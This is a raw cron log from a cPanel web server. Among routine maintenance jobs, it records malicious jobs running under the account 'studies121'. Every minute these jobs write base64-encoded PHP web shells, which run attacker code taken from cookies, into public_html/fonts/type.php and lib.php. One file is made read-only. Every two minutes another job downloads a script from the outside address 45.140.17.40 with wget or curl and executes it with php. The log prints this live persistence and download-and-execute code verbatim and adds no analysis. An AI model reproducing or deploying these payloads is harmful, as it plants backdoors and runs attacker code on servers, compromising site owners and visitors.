Sep  5 20:39:01 ip-184-168-122-23 CROND[22582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:39:02 ip-184-168-122-23 CROND[22583]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 20:39:02 ip-184-168-122-23 CROND[22588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:40:01 ip-184-168-122-23 CROND[22772]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:40:01 ip-184-168-122-23 CROND[22775]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:40:01 ip-184-168-122-23 CROND[22777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:40:01 ip-184-168-122-23 CROND[22779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:40:01 ip-184-168-122-23 CROND[22784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:40:01 ip-184-168-122-23 CROND[22781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:40:01 ip-184-168-122-23 CROND[22782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:40:01 ip-184-168-122-23 CROND[22783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:41:01 ip-184-168-122-23 CROND[22930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:41:01 ip-184-168-122-23 CROND[22932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:41:01 ip-184-168-122-23 CROND[22931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:41:01 ip-184-168-122-23 CROND[22933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:42:01 ip-184-168-122-23 CROND[23009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:42:01 ip-184-168-122-23 CROND[23011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:42:01 ip-184-168-122-23 CROND[23010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:42:01 ip-184-168-122-23 CROND[23012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:42:01 ip-184-168-122-23 CROND[23013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:43:01 ip-184-168-122-23 CROND[23125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:43:01 ip-184-168-122-23 CROND[23129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:43:01 ip-184-168-122-23 CROND[23130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:43:01 ip-184-168-122-23 CROND[23133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:44:01 ip-184-168-122-23 CROND[23273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:44:01 ip-184-168-122-23 CROND[23277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:44:01 ip-184-168-122-23 CROND[23279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:44:01 ip-184-168-122-23 CROND[23275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:44:01 ip-184-168-122-23 CROND[23276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:45:02 ip-184-168-122-23 CROND[23365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:45:02 ip-184-168-122-23 CROND[23372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:45:02 ip-184-168-122-23 CROND[23366]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  5 20:45:02 ip-184-168-122-23 CROND[23371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:45:02 ip-184-168-122-23 CROND[23368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:45:02 ip-184-168-122-23 CROND[23369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:45:02 ip-184-168-122-23 CROND[23370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:46:01 ip-184-168-122-23 CROND[23463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:46:01 ip-184-168-122-23 CROND[23466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:46:01 ip-184-168-122-23 CROND[23467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:46:01 ip-184-168-122-23 CROND[23465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:46:01 ip-184-168-122-23 CROND[23468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:46:01 ip-184-168-122-23 CROND[23470]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 20:46:01 ip-184-168-122-23 CROND[23469]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 20:47:01 ip-184-168-122-23 CROND[23581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:47:01 ip-184-168-122-23 CROND[23584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:47:01 ip-184-168-122-23 CROND[23583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:47:01 ip-184-168-122-23 CROND[23582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:48:01 ip-184-168-122-23 CROND[23668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:48:01 ip-184-168-122-23 CROND[23669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:48:01 ip-184-168-122-23 CROND[23671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:48:01 ip-184-168-122-23 CROND[23670]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:48:01 ip-184-168-122-23 CROND[23672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:49:01 ip-184-168-122-23 CROND[23763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:49:01 ip-184-168-122-23 CROND[23764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:49:01 ip-184-168-122-23 CROND[23766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:49:02 ip-184-168-122-23 CROND[23765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:50:01 ip-184-168-122-23 CROND[23851]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:50:01 ip-184-168-122-23 CROND[23855]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:50:01 ip-184-168-122-23 CROND[23860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:50:01 ip-184-168-122-23 CROND[23859]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 20:50:01 ip-184-168-122-23 CROND[23861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:50:01 ip-184-168-122-23 CROND[23857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:50:01 ip-184-168-122-23 CROND[23856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:50:01 ip-184-168-122-23 CROND[23858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:50:01 ip-184-168-122-23 CROND[23866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:51:01 ip-184-168-122-23 CROND[24039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
